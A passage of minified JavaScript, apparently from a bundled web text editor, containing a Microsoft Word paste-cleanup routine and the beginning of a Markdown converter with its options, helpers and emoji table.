t=parseInt(e.getAttribute("width"),10);isNaN(t)||e.setAttribute("width","".concat(t,"px"))}),e=e.previousElementSibling};for(;e;)r();if(t&&0<a){var n=parseInt(t.style.width,10);(isNaN(n)||0===n)&&(t.style.width="".concat(a,"px"))}}(e)}function k(e){var t=e.getAttribute("align");t&&(e.style["text-align"]=t,e.removeAttribute("align"))}function S(e){return e.replace(/\n|\r|\n\r|"/g,"")}function R(e,t,a){if(t){var n=e.getAttribute("style");n&&";"!==n.slice(-1)&&(n+=";"),t&&";"!==t.slice(-1)&&(t+=";"),t=t.replace(/\n/gi,"");var r=null;r=a?(n||"")+t:t+(n||""),e.setAttribute("style",r)}}var u=null;function c(e,t,a){for(var n=e.split(a),r=1;r<n.length;r++){var i=n[r];if(1<(i=i.split("shplid")).length){i=i[1];for(var o="",s=0;s<i.length&&"\\"!==i[s]&&"{"!==i[s]&&" "!==i[s]&&"\r"!==i[s]&&"\n"!==i[s];)o+=i[s],s++;var l=i.split("bliptag");if(l&&l.length<2)continue;var c=null;if(-1!==l[0].indexOf("pngblip")?c="image/png":-1!==l[0].indexOf("jpegblip")&&(c="image/jpeg"),!c)continue;var d=l[1].split("}");if(d&&d.length<2)continue;var f=void 0;if(2<d.length&&-1!==d[0].indexOf("blipuid"))f=d[1].split(" ");else{if((f=d[0].split(" "))&&f.length<2)continue;f.shift()}var p=f.join("");u[t+o]={image_hex:p,image_type:c}}}}function v(e,t){if(t){var a;if("IMG"===e.tagName){var n=e.getAttribute("src");if(!n||-1===n.indexOf("file://"))return;if(0===n.indexOf("file://")&&y.helpers.isURL(e.getAttribute("alt")))return void e.setAttribute("src",e.getAttribute("alt"));(a=g[e.getAttribute("v:shapes")])||(a=e.getAttribute("v:shapes"),e.parentNode&&e.parentNode.parentNode&&0<=e.parentNode.parentNode.innerHTML.indexOf("msEquation")&&(a=null))}else a=e.parentNode.getAttribute("o:spid");if(e.removeAttribute("height"),a){!function s(e){u={},c(e,"i","\\shppict"),c(e,"s","\\shp{")}(t);var r=u[a.substring(7)];if(r){var i=function l(e){for(var t=e.match(/[0-9a-f]{2}/gi),a=[],n=0;n<t.length;n++)a.push(String.fromCharCode(parseInt(t[n],16)));var r=a.join("");return btoa(r)}(r.image_hex),o="data:"+r.image_type+";base64,"+i;"IMG"===e.tagName?(e.src=o,e.setAttribute("data-fr-image-pasted",!0)):F(e).parent().before('<img data-fr-image-pasted="true" src="'.concat(o,'" style="').concat(e.parentNode.getAttribute("style"),'">')).remove()}}}}function b(e,t){var a=e.tagName,n=a.toLowerCase();e.firstElementChild&&("I"===e.firstElementChild.tagName?E(e.firstElementChild,"em"):"B"===e.firstElementChild.tagName&&E(e.firstElementChild,"strong"));if(-1!==["SCRIPT","APPLET","EMBED","NOFRAMES","NOSCRIPT"].indexOf(a))return T(e),!1;for(var r=["META","LINK","XML","ST1:","O:","W:","FONT"],i=0;i<r.length;i++)if(-1!==a.indexOf(r[i]))return e.innerHTML&&(e.outerHTML=e.innerHTML),T(e),!1;if("TD"!==a){var o=e.getAttribute("class")||"MsoNormal";if(t&&o){for(var s=(o=S(o)).split(" "),l=0;l<s.length;l++){var c=[],d="."+s[l];c.push(d),d=n+d,c.push(d);for(var f=0;f<c.length;f++)t[c[f]]&&R(e,t[c[f]])}e.removeAttribute("class")}t&&t[n]&&R(e,t[n])}if(-1!==["P","H1","H2","H3","H4","H5","H6","PRE"].indexOf(a)){var p=e.getAttribute("class");if(p&&(t&&t[a.toLowerCase()+"."+p]&&R(e,t[a.toLowerCase()+"."+p]),-1!==p.toLowerCase().indexOf("mso"))){var u=S(p);(u=u.replace(/[0-9a-z-_]*mso[0-9a-z-_]*/gi,""))?e.setAttribute("class",u):e.removeAttribute("class")}var g=e.getAttribute("style");if(g){var h=g.match(/text-align:.+?[; "]{1,1}/gi);h&&h[h.length-1].replace(/(text-align:.+?[; "]{1,1})/gi,"$1")}k(e)}if("TR"===a&&_(e,t),"A"!==a||e.attributes.getNamedItem("href")||e.attributes.getNamedItem("name")||!e.innerHTML||(e.outerHTML=e.innerHTML),"A"==a&&e.getAttribute("href")&&e.querySelector("img"))for(var m=e.querySelectorAll("span"),v=0;v<m.length;v++)m[v].innerText||(m[v].outerHTML=m[v].innerHTML);if("TD"!==a&&"TH"!==a||e.innerHTML||(e.innerHTML="<br>"),e.getAttribute("lang")&&e.removeAttribute("lang"),e.getAttribute("style")&&-1!==e.getAttribute("style").toLowerCase().indexOf("mso")){var b=S(e.getAttribute("style"));(b=b.replace(/[0-9a-z-_]*mso[0-9a-z-_]*:.+?(;{1,1}|$)/gi,"").replace("line-height:107%",""))?e.setAttribute("style",b):e.removeAttribute("style")}return!0}function i(e,t){0<=e.indexOf("<html")&&(e=e.replace(/[.\s\S\w\W<>]*(<html[^>]*>[.\s\S\w\W<>]*<\/html>)[.\s\S\w\W<>]*/i,"$1"));var l=e.match(/(MSFontService|class="?Mso|class='?Mso|class="?Xl|class='?Xl|class=Xl|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument|LibreOffice)/gi);!function f(e){for(var t=e.split("v:shape"),a=1;a<t.length;a++){var n=t[a],r=n.split(' id="')[1];if(r&&1<r.length){r=r.split('"')[0];var i=n.split(' o:spid="')[1];i&&1<i.length&&(i=i.split('"')[0],g[r]=i)}}}(e);var a=(new DOMParser).parseFromString(e,"text/html"),n=a.head,r=a.body,c=function p(e){var t={},a=e.getElementsByTagName("style");if(a.length){var n=a[0].innerHTML.match(/[\S ]+\s+{[\s\S]+?}/gi);if(n)for(var r=0;r<n.length;r++){var i=n[r],o=i.replace(/([\S ]+\s+){[\s\S]+?}/gi,"$1"),s=i.replace(/[\S ]+\s+{([\s\S]+?)}/gi,"$1");o=o.replace(/^[\s]|[\s]$/gm,""),s=s.replace(/^[\s]|[\s]$/gm,""),o=o.replace(/\n|\r|\n\r/g,""),s=s.replace(/\n|\r|\n\r/g,"");for(var l=o.split(", "),c=0;c<l.length;c++)t[l[c]]=s}}return t}(n);h(r,function(e){if(e.nodeType===Node.ELEMENT_NODE&&e.hasAttribute("style")){var t=e.getAttribute("style");e.setAttribute("style",t),e.style.fontFamily||e.setAttribute("style",function a(e){return e.replace(/mso-(bidi|fareast|fareast-theme)-font-family/g,"font-family")}(t))}return!0}),h(r,function(e){if(e.nodeType===Node.TEXT_NODE&&/\n|\u00a0|\r/.test(e.data)){if(!/\S| /.test(e.data)&&!/[\u00a0]+/.test(e.data))return e.data===St.UNICODE_NBSP?(e.data="\u200b",!0):1===e.data.length&&10===e.data.charCodeAt(0)?(e.data=" ",!0):(T(e),!1);e.data=e.data.replace(/\n|\r/gi," ")}return!0}),h(r,function(e){return e.nodeType!==Node.ELEMENT_NODE||"V:IMAGEDATA"!==e.tagName&&"IMG"!==e.tagName||v(e,t),!0});for(var i=r.querySelectorAll("ul > ul, ul > ol, ol > ul, ol > ol"),o=i.length-1;0<=o;o--)i[o].previousElementSibling&&"LI"===i[o].previousElementSibling.tagName&&i[o].previousElementSibling.appendChild(i[o]);h(r,function(e){if(e.nodeType===Node.TEXT_NODE)return e.data=e.data.replace(/<br>(\n|\r)/gi,"<br>"),!1;if(e.nodeType===Node.ELEMENT_NODE){if(N(e)){var t=e.parentNode,a=e.previousSibling,n=function O(e,t,a,n){var r,i,o,s,l,c,d,f=navigator.userAgent.toLowerCase();-1!=f.indexOf("safari")&&(f=-1<f.indexOf("chrome")?1:"safari"),e.innerHTML.includes("mso-list:\nIgnore")&&(e.innerHTML=e.innerHTML.replace(/mso-list:\nIgnore/gi,"mso-list:Ignore"));var p,u,g,h,m=/[0-9a-zA-Z]./gi,v="",b=M(e),E=null===(r=F(e).find("ol"))||void 0===r||null===(r=r.attr("style"))||void 0===r||null===(r=r.split(";"))||void 0===r?void 0:r.find(function(e){return e.trim().startsWith("list-style-type")});E==undefined&&D(e)&&(E=null===(u=F(e).find("ul"))||void 0===u||null===(u=u.attr("style"))||void 0===u||null===(u=u.split(";"))||void 0===u?void 0:u.find(function(e){return e.trim().startsWith("list-style-type")}));if(b)c="ol",d=E?"list-style-type: "+E.replace("list-style-type:","").trim()+";":"";else if(D(e))c="ul",d=E?"list-style-type: "+E.replace("list-style-type:","").trim()+";":"";else{var _=e.querySelector('span[style="mso-list:Ignore"]');null==_&&"safari"==f&&(_=e.querySelector('span[lang="PT-BR"]'));var w=!1;_&&(w=w||m.test(_.textContent)),null!==_&&(p=_.textContent.trim().split(".")[0]),c=1==w?(p=(p=_.textContent.trim().split(".")[0]).replace(/\(([^)]+)\)/g,"$1"),isNaN(parseInt(p))?/^(m{0,4}(cm|cd|d?c{0,3})(xc|xl|l?x{0,3})(ix|iv|v?i{0,3}))$/.test(p)?(d="lower-roman;",e.nextElementSibling&&1===e.nextElementSibling.textContent.trim().split(".")[0].length&&(d="lower-alpha;")):/^(M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3}))$/.test(p)?(d="upper-roman;",e.nextElementSibling&&1===e.nextElementSibling.textContent.trim().split(".")[0].length&&(d="upper-alpha;")):"o"==p?d="circle;":p.match(/^v$/)||(p.match(/^[a-z]$/)||p.match(/^[a-z]\)$/)?d="lower-alpha;":(p.match(/^[A-Z]$/)||p.match(/^[A-Z]\)$/))&&(d="upper-alpha;")):d="decimal;",d="list-style-type: "+d,"ol"):(null!=_&&(p=_.textContent.trim().split(".")[0]),"\xa7"==p?d="square;":"\xb7"==p&&(d="disc;"),d="list-style-type: "+d,"ul"),_==undefined||_.textContent==undefined||isNaN(parseInt(_.textContent.trim().split(".")[1],10))||(v=' class="decimal_type" ')}var y=1,A="",C=(P(e),e.style.marginLeft),T="";C.includes("in")?(T="in",C=parseFloat(C)-.5):C.includes("pt")&&(T="px",C=parseFloat(C)-10),C&&(h=" margin-left: "+C+T+";"),y="list-style-type: upper-alpha;"==d?b?parseInt(F(e).find("ol").attr("start")):p.charCodeAt(0)-64:"list-style-type: lower-alpha;"==d?b?parseInt(F(e).find("ol").attr("start")):p.charCodeAt(0)-96:"list-style-type: upper-roman;"==d||"list-style-type: lower-roman;"==d?b?parseInt(F(e).find("ol").attr("start")):function I(e){for(var t={I:1,V:5,X:10,L:50,C:100,D:500,M:1e3,i:1,v:5,x:10,l:50,c:100,d:500,m:1e3},a=0,n=0,r=e.length-1;0<=r;r--){var i=t[e[r]];n<=i?a+=i:a-=i,n=i}return a}(p):b?parseInt(F(e).find("ol").attr("start")):parseInt(p),A+=d||"",A+=h||"",g="<"+c,g+=v||"",g+="ol"!=c||1==y||isNaN(y)?"":' start = "'+y+'"',g+=A?' style = "'+A+'"':"",g+=">";for(var k=!1;e;){if(!N(e)){if(e.outerHTML&&0<e.outerHTML.indexOf("mso-bookmark")&&0==(e.textContent||"").length){e=e.nextElementSibling;continue}break}var S=P(e);if((a=a||S)<S)g+=(l=O(e,t,S,e.style.marginLeft)).el.outerHTML,e=l.currentNode;else{if(S<a)break;e.firstElementChild&&e.firstElementChild.firstElementChild&&e.firstElementChild.firstElementChild.firstChild&&(m.lastIndex=0),o&&o.firstElementChild&&o.firstElementChild.firstElementChild&&o.firstElementChild.firstElementChild.firstChild&&(m.lastIndex=0,i=m.test(o.firstElementChild.firstElementChild.firstChild.data||o.firstElementChild.firstElementChild.firstChild.firstChild&&o.firstElementChild.firstElementChild.firstChild.firstChild.data||""));var R=!1;(!n&&!e.style.marginLeft||n&&e.style.marginLeft&&n===e.style.marginLeft)&&(R=!0),n=e.style.marginLeft,R||i===undefined?(s=B(e,t),e.nextSibling&&e.nextSibling.innerText!=undefined&&e.nextSibling.innerText!=undefined&&!g.includes('class="decimal_type"')&&(isNaN(parseInt(e.nextSibling.innerText.trim().split(".")[1],10))||(g=g.substring(3,0)+' class="decimal_type"'+g.substring(3,g.length))),g+=s):(1==S&&(g+="</"+c+">",k=!0,o=null),g+=(l=O(e,t,S,e.style.marginLeft)).el.outerHTML,e=l.currentNode);var L=e&&e.nextElementSibling;if(L&&(o=L.previousElementSibling),e&&!N(e)){if(e.outerHTML&&0<e.outerHTML.indexOf("mso-bookmark")&&0==(e.textContent||"").length){e=e.nextElementSibling;continue}break}e&&e.parentNode&&e.parentNode.removeChild(e),e=L}}k||(g+="</"+c+">");var x=document.createElement("div");return x.innerHTML=g,{el:x,currentNode:e}}(e,c).el,r=null;return(r=a?a.nextSibling:t.firstChild)?t.insertBefore(n,r):t.appendChild(n),!1}return"FONT"===e.tagName&&(l&&"LibreOffice"===l[0]||c["."+e.getAttribute("class")])?e=E(e,"span"):l&&"\x3c!--StartFragment--\x3e"===l[0]&&"UL"===e.tagName&&(F(e).find("li span").each(function(){" "===F(this).html()&&(0<F(this).prev().text().trim().length?F(this).remove():F(this).html("​"))}),F(e).is("ul")&&e.setAttribute("style",m(e,["margin","margin-left","list-style-type"])),F(e).find("ul").each(function(){this.setAttribute("style",m(this,["margin","margin-left","list-style-type"]))})),"img"!==e.tagName.toLowerCase()&&function s(t){Array.from(t.attributes).map(function(e){return e.name}).filter(function(e){return e.toLowerCase().startsWith("data-")||e.toLowerCase().startsWith("xml:")}).forEach(function(e){F(t).removeAttr(e)})}(e),b(e,c)}if(e.nodeType!==Node.COMMENT_NODE)return!0;if(-1<e.data.indexOf("[if !supportLineBreakNewLine]"))for(var i=e.nextSibling;i;)(i=e.nextSibling)&&T(i),i.data&&-1<i.data.indexOf("[endif]")&&(i=null);if(-1<e.data.indexOf("[if supportFields]")&&-1<e.data.indexOf("FORMCHECKBOX")){var o=document.createElement("input");o.type="checkbox",e.parentNode.insertBefore(o,e.nextSibling)}return T(e),!1}),r.innerHTML=function u(e){var t=F(document.createElement("div")).attr("id","top-level");t.html(e);for(var a=t[0].querySelectorAll("ol, ul"),n=0;n<a.length;n++)if(F(a[n]).parentsUntil("#top-level","ol, ul").length){a[n].style.removeProperty("margin-left");for(var r=a[n].children,i=0;i<r.length;i++)"LI"==r[i].tagName&&r[i].style.removeProperty("margin-left")}return t[0].innerHTML}(r.innerHTML),h(r,function(e){if(e.nodeType===Node.ELEMENT_NODE){var t=e.tagName;if(!e.innerHTML&&-1===["BR","IMG","INPUT"].indexOf(t)){for(var a=e.parentNode;a&&(T(e),!(e=a).innerHTML)&&"TD"!==e.parentNode.tagName;)a=e.parentNode;return!1}!function f(e){var t=e.getAttribute("style");if(t){(t=S(t))&&";"!==t.slice(-1)&&(t+=";");var a=t.match(/(^|\S+?):.+?;{1,1}/gi);if(a){for(var n={},r=0;r<a.length;r++){var i=a[r].split(":");2===i.length&&("text-align"===i[0]&&"SPAN"===e.tagName||(n[i[0]]=i[1]))}var o="";for(var s in n)if(n.hasOwnProperty(s)){if("font-size"===s&&"pt;"===n[s].slice(-3)){var l=null;try{l=parseFloat(n[s].slice(0,-3),10)}catch(d){l=null}if(l){var c=y.opts.fontSizeUnit;"px"===c?(l=Math.round(1.33*l),n[s]=l+"px;"):"pt"===c&&(l=Math.round(l),n[s]=l+"pt;")}}o+=s+":"+n[s]}o&&e.setAttribute("style",o)}}}(e)}return!0}),h(r,function(e){if(e&&"A"===e.nodeName&&""===e.href){for(var t=document.createDocumentFragment();e.firstChild;)t.appendChild(e.firstChild);e.parentNode.replaceChild(t,e)}return!0}),h(r,function(e){return e&&"P"===e.tagName&&"DIV"===e.parentNode.tagName&&1==e.parentNode.children.length&&F(e).unwrap(),!0}),h(r,function(e){if(e&&"SPAN"===e.tagName)for(;e.nextSibling&&e.nextSibling.nodeType===Node.ELEMENT_NODE&&"SPAN"===e.nextSibling.tagName&&e.getAttribute("style")===e.nextSibling.getAttribute("style");)F(e).append(e.nextSibling.innerHTML),F(e.nextSibling).remove();return!0});var s=r.outerHTML,d=y.opts.htmlAllowedStyleProps;return y.opts.htmlAllowedStyleProps=y.opts.wordAllowedStyleProps,s=y.clean.html(s,y.opts.wordDeniedTags,y.opts.wordDeniedAttrs,!1),y.opts.htmlAllowedStyleProps=d,s}return{_init:function e(){y.events.on("paste.wordPaste",function(e){return r=e,y.opts.wordPasteModal?function i(){if(!o){var e='<h4><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 74.95 73.23" style="height: 25px; vertical-align: text-bottom; margin-right: 5px; display: inline-block"><defs><style>.a{fill:#2a5699;}.b{fill:#fff;}</style></defs><path class="a" d="M615.15,827.22h5.09V834c9.11.05,18.21-.09,27.32.05a2.93,2.93,0,0,1,3.29,3.25c.14,16.77,0,33.56.09,50.33-.09,1.72.17,3.63-.83,5.15-1.24.89-2.85.78-4.3.84-8.52,0-17,0-25.56,0v6.81h-5.32c-13-2.37-26-4.54-38.94-6.81q0-29.8,0-59.59c13.05-2.28,26.11-4.5,39.17-6.83Z" transform="translate(-575.97 -827.22)"/><path class="b" d="M620.24,836.59h28.1v54.49h-28.1v-6.81h22.14v-3.41H620.24v-4.26h22.14V873.2H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24V846h22.14v-3.41H620.24Zm-26.67,15c1.62-.09,3.24-.16,4.85-.25,1.13,5.75,2.29,11.49,3.52,17.21,1-5.91,2-11.8,3.06-17.7,1.7-.06,3.41-.15,5.1-.26-1.92,8.25-3.61,16.57-5.71,24.77-1.42.74-3.55,0-5.24.09-1.13-5.64-2.45-11.24-3.47-16.9-1,5.5-2.29,10.95-3.43,16.42q-2.45-.13-4.92-.3c-1.41-7.49-3.07-14.93-4.39-22.44l4.38-.18c.88,5.42,1.87,10.82,2.64,16.25,1.2-5.57,2.43-11.14,3.62-16.71Z" transform="translate(-575.97 -827.22)"/></svg> '+y.language.translate("Word Paste Detected")+"</h4>",t=function r(){var e='<div class="fr-word-paste-modal" style="padding: 20px 20px 10px 20px;">';return e+='<p style="text-align: left;">'+y.language.translate("The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?")+"</p>",e+='<div style="text-align: right; margin-top: 50px;"><button class="fr-remove-word fr-command">'+y.language.translate("Clean")+'</button> <button class="fr-keep-word fr-command">'+y.language.translate("Keep")+"</button></div>",e+="</div>"}(),a=y.modals.create(s,e,t),n=a.$body;o=a.$modal,a.$modal.addClass("fr-middle"),y.events.bindClick(n,"button.fr-remove-word",function(){var e=o.data("instance")||y;e.wordPaste.clean()}),y.events.bindClick(n,"button.fr-keep-word",function(){var e=o.data("instance")||y;e.wordPaste.clean(!0)}),y.events.$on(F(y.o_win),"resize",function(){y.modals.resize(s)})}y.modals.show(s),y.modals.resize(s)}():t(y.opts.wordPasteKeepFormatting),!1})},clean:t,_wordClean:i}};var y={},a={},p={},u=n(!0),g="vanilla",h={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:n(!0),allOn:function _(){var e=n(!0),t={};for(var a in e)e.hasOwnProperty(a)&&(t[a]=!0);return t}()};function m(e,t){var a=t?"Error in "+t+" extension->":"Error in unnamed extension",n={valid:!0,error:""};y.helper.isArray(e)||(e=[e]);for(var r=0;r<e.length;++r){var i=a+" sub-extension "+r+": ",o=e[r];if("object"!==Rt(o))return n.valid=!1,n.error=i+"must be an object, but "+Rt(o)+" given",n;if(!y.helper.isString(o.type))return n.valid=!1,n.error=i+'property "type" must be a string, but '+Rt(o.type)+" given",n;var s=o.type=o.type.toLowerCase();if("language"===s&&(s=o.type="lang"),"html"===s&&(s=o.type="output"),"lang"!==s&&"output"!==s&&"listener"!==s)return n.valid=!1,n.error=i+"type "+s+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',n;if("listener"===s){if(y.helper.isUndefined(o.listeners))return n.valid=!1,n.error=i+'. Extensions of type "listener" must have a property called "listeners"',n}else if(y.helper.isUndefined(o.filter)&&y.helper.isUndefined(o.regex))return n.valid=!1,n.error=i+s+' extensions must define either a "regex" property or a "filter" method',n;if(o.listeners){if("object"!==Rt(o.listeners))return n.valid=!1,n.error=i+'"listeners" property must be an object but '+Rt(o.listeners)+" given",n;for(var l in o.listeners)if(o.listeners.hasOwnProperty(l)&&"function"!=typeof o.listeners[l])return n.valid=!1,n.error=i+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+l+" must be a function but "+Rt(o.listeners[l])+" given",n}if(o.filter){if("function"!=typeof o.filter)return n.valid=!1,n.error=i+'"filter" must be a function, but '+Rt(o.filter)+" given",n}else if(o.regex){if(y.helper.isString(o.regex)&&(o.regex=new RegExp(o.regex,"g")),!(o.regex instanceof RegExp))return n.valid=!1,n.error=i+'"regex" property must either be a string or a RegExp object, but '+Rt(o.regex)+" given",n;if(y.helper.isUndefined(o.replace))return n.valid=!1,n.error=i+'"regex" extensions must implement a replace string or function',n}}return n}function i(e,t){return"\xa8E"+t.charCodeAt(0)+"E"}y.helper={},y.extensions={},y.setOption=function(e,t){return u[e]=t,this},y.getOption=function(e){return u[e]},y.getOptions=function(){return u},y.resetOptions=function(){u=n(!0)},y.setFlavor=function(e){if(!h.hasOwnProperty(e))throw Error(e+" flavor was not found");y.resetOptions();var t=h[e];for(var a in g=e,t)t.hasOwnProperty(a)&&(u[a]=t[a])},y.getFlavor=function(){return g},y.getFlavorOptions=function(e){if(h.hasOwnProperty(e))return h[e]},y.getDefaultOptions=function(e){return n(e)},y.subParser=function(e,t){if(y.helper.isString(e)){if(void 0===t){if(a.hasOwnProperty(e))return a[e];throw Error("SubParser named "+e+" not registered!")}a[e]=t}},y.extension=function(e,t){if(!y.helper.isString(e))throw Error("Extension 'name' must be a string");if(e=y.helper.stdExtName(e),y.helper.isUndefined(t)){if(!p.hasOwnProperty(e))throw Error("Extension named "+e+" is not registered!");return p[e]}"function"==typeof t&&(t=t()),y.helper.isArray(t)||(t=[t]);var a=m(t,e);if(!a.valid)throw Error(a.error);p[e]=t},y.getAllExtensions=function(){return p},y.removeExtension=function(e){delete p[e]},y.resetExtensions=function(){p={}},y.validateExtension=function(e){var t=m(e,null);return!!t.valid},y.hasOwnProperty("helper")||(y.helper={}),y.helper.isString=function(e){return"string"==typeof e||e instanceof String},y.helper.isFunction=function(e){return e&&"[object Function]"==={}.toString.call(e)},y.helper.isArray=function(e){return Array.isArray(e)},y.helper.isUndefined=function(e){return void 0===e},y.helper.forEach=function(e,t){if(y.helper.isUndefined(e))throw new Error("obj param is required");if(y.helper.isUndefined(t))throw new Error("callback param is required");if(!y.helper.isFunction(t))throw new Error("callback param must be a function/closure");if("function"==typeof e.forEach)e.forEach(t);else if(y.helper.isArray(e))for(var a=0;a<e.length;a++)t(e[a],a,e);else{if("object"!==Rt(e))throw new Error("obj does not seem to be an array or an iterable object");for(var n in e)e.hasOwnProperty(n)&&t(e[n],n,e)}},y.helper.stdExtName=function(e){return e.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},y.helper.escapeCharactersCallback=i,y.helper.escapeCharacters=function(e,t,a){var n="(["+t.replace(/([\[\]\\])/g,"\\$1")+"])";a&&(n="\\\\"+n);var r=new RegExp(n,"g");return e=e.replace(r,i)},y.helper.unescapeHTMLEntities=function(e){return e.replace(/"/g,'"').replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")};var v=function v(e,t,a,n){var r,i,o,s,l,c=n||"",d=-1<c.indexOf("g"),f=new RegExp(t+"|"+a,"g"+c.replace(/g/g,"")),p=new RegExp(t,c.replace(/g/g,"")),u=[];do{for(r=0;o=f.exec(e);)if(p.test(o[0]))r++||(s=(i=f.lastIndex)-o[0].length);else if(r&&!--r){l=o.index+o[0].length;var g={left:{start:s,end:i},match:{start:i,end:o.index},right:{start:o.index,end:l},wholeMatch:{start:s,end:l}};if(u.push(g),!d)return u}}while(r&&(f.lastIndex=i));return u};y.helper.matchRecursiveRegExp=function(e,t,a,n){for(var r=v(e,t,a,n),i=[],o=0;o<r.length;++o)i.push([e.slice(r[o].wholeMatch.start,r[o].wholeMatch.end),e.slice(r[o].match.start,r[o].match.end),e.slice(r[o].left.start,r[o].left.end),e.slice(r[o].right.start,r[o].right.end)]);return i},y.helper.replaceRecursiveRegExp=function(e,t,a,n,r){if(!y.helper.isFunction(t)){var i=t;t=function t(){return i}}var o=v(e,a,n,r),s=e,l=o.length;if(0<l){var c=[];0!==o[0].wholeMatch.start&&c.push(e.slice(0,o[0].wholeMatch.start));for(var d=0;d<l;++d)c.push(t(e.slice(o[d].wholeMatch.start,o[d].wholeMatch.end),e.slice(o[d].match.start,o[d].match.end),e.slice(o[d].left.start,o[d].left.end),e.slice(o[d].right.start,o[d].right.end))),d<l-1&&c.push(e.slice(o[d].wholeMatch.end,o[d+1].wholeMatch.start));o[l-1].wholeMatch.end<e.length&&c.push(e.slice(o[l-1].wholeMatch.end)),s=c.join("")}return s},y.helper.regexIndexOf=function(e,t,a){if(!y.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(t instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var n=e.substring(a||0).search(t);return 0<=n?n+(a||0):n},y.helper.splitAtIndex=function(e,t){if(!y.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[e.substring(0,t),e.substring(t)]},y.helper.encodeEmailAddress=function(e){var a=[function(e){return"&#"+e.charCodeAt(0)+";"},function(e){return"&#x"+e.charCodeAt(0).toString(16)+";"},function(e){return e}];return e=e.replace(/./g,function(e){if("@"===e)e=a[Math.floor(2*Math.random())](e);else{var t=Math.random();e=.9<t?a[2](e):.45<t?a[1](e):a[0](e)}return e})},y.helper.padEnd=function(e,t,a){return t>>=0,a=String(a||" "),e.length>t?String(e):((t-=e.length)>a.length&&(a+=a.repeat(t/a.length)),String(e)+a.slice(0,t))},"undefined"==typeof console&&(console={warn:function(e){alert(e)},log:function(e){alert(e)},error:function(e){throw e}}),y.helper.regexes={asteriskDashAndColon:/([*_:~])/g},y.helper.emojis={"+1":"\ud83d\udc4d","-1":"\ud83d\udc4e",100:"\ud83d\udcaf",1234:"\ud83d\udd22","1st_place_medal":"\ud83e\udd47","2nd_place_medal":"\ud83e\udd48","3rd_place_medal":"\ud83e\udd49","8ball":"\ud83c\udfb1",a:"\ud83c\udd70\ufe0f",ab:"\ud83c\udd8e",abc:"\ud83d\udd24",abcd:"\ud83d\udd21",accept:"\ud83c\ude51",aerial_tramway:"\ud83d\udea1",airplane:"\u2708\ufe0f",alarm_clock:"\u23f0",alembic:"\u2697\ufe0f",alien:"\ud83d\udc7d",ambulance:"\ud83d\ude91",amphora:"\ud83c\udffa",anchor:"\u2693\ufe0f",angel:"\ud83d\udc7c",anger:"\ud83d\udca2",angry:"\ud83d\ude20",anguished:"\ud83d\ude27",ant:"\ud83d\udc1c",apple:"\ud83c\udf4e",aquarius:"\u2652\ufe0f",aries:"\u2648\ufe0f",arrow_backward:"\u25c0\ufe0f",arrow_double_down:"\u23ec",arrow_double_up:"\u23eb",arrow_down:"\u2b07\ufe0f",arrow_down_small:"\ud83d\udd3d",arrow_forward:"\u25b6\ufe0f",arrow_heading_down:"\u2935\ufe0f",arrow_heading_up:"\u2934\ufe0f",arrow_left:"\u2b05\ufe0f",arrow_lower_left:"\u2199\ufe0f",arrow_lower_right:"\u2198\ufe0f",arrow_right:"\u27a1\ufe0f",arrow_right_hook:"\u21aa\ufe0f",arrow_up:"\u2b06\ufe0f",arrow_up_down:"\u2195\ufe0f",arrow_up_small:"\ud83d\udd3c",arrow_upper_left:"\u2196\ufe0f",arrow_upper_right:"\u2197\ufe0f",arrows_clockwise:"\ud83d\udd03",arrows_counterclockwise:"\ud83d\udd04",art:"\ud83c\udfa8",articulated_lorry:"\ud83d\ude9b",artificial_satellite:"\ud83d\udef0",astonished:"\ud83d\ude32",athletic_shoe:"\ud83d\udc5f",atm:"\ud83c\udfe7",atom_symbol:"\u269b\ufe0f",avocado:"\ud83e\udd51",b:"\ud83c\udd71\ufe0f",baby:"\ud83d\udc76",baby_bottle:"\ud83c\udf7c",baby_chick:"\ud83d\udc24",baby_symbol:"\ud83d\udebc",back:"\ud83d\udd19",bacon:"\ud83e\udd53",badminton:"\ud83c\udff8",baggage_claim:"\ud83d\udec4",baguette_bread:"\ud83e\udd56",balance_scale:"\u2696\ufe0f",balloon:"\ud83c\udf88",ballot_box:"\ud83d\uddf3",ballot_box_with_check:"\u2611\ufe0f",bamboo:"\ud83c\udf8d",banana:"\ud83c\udf4c",bangbang:"\u203c\ufe0f",bank:"\ud83c\udfe6",bar_chart:"\ud83d\udcca",barber:"\ud83d\udc88",baseball:"\u26be\ufe0f",basketball:"\ud83c\udfc0",basketball_man:"\u26f9\ufe0f",basketball_woman:"\u26f9\ufe0f‍\u2640\ufe0f",bat:"\ud83e\udd87",bath:"\ud83d\udec0",bathtub:"\ud83d\udec1",battery:"\ud83d\udd0b",beach_umbrella:"\ud83c\udfd6",bear:"\ud83d\udc3b",bed:"\ud83d\udecf",bee:"\ud83d\udc1d",beer:"\ud83c\udf7a",beers:"\ud83c\udf7b",beetle:"\ud83d\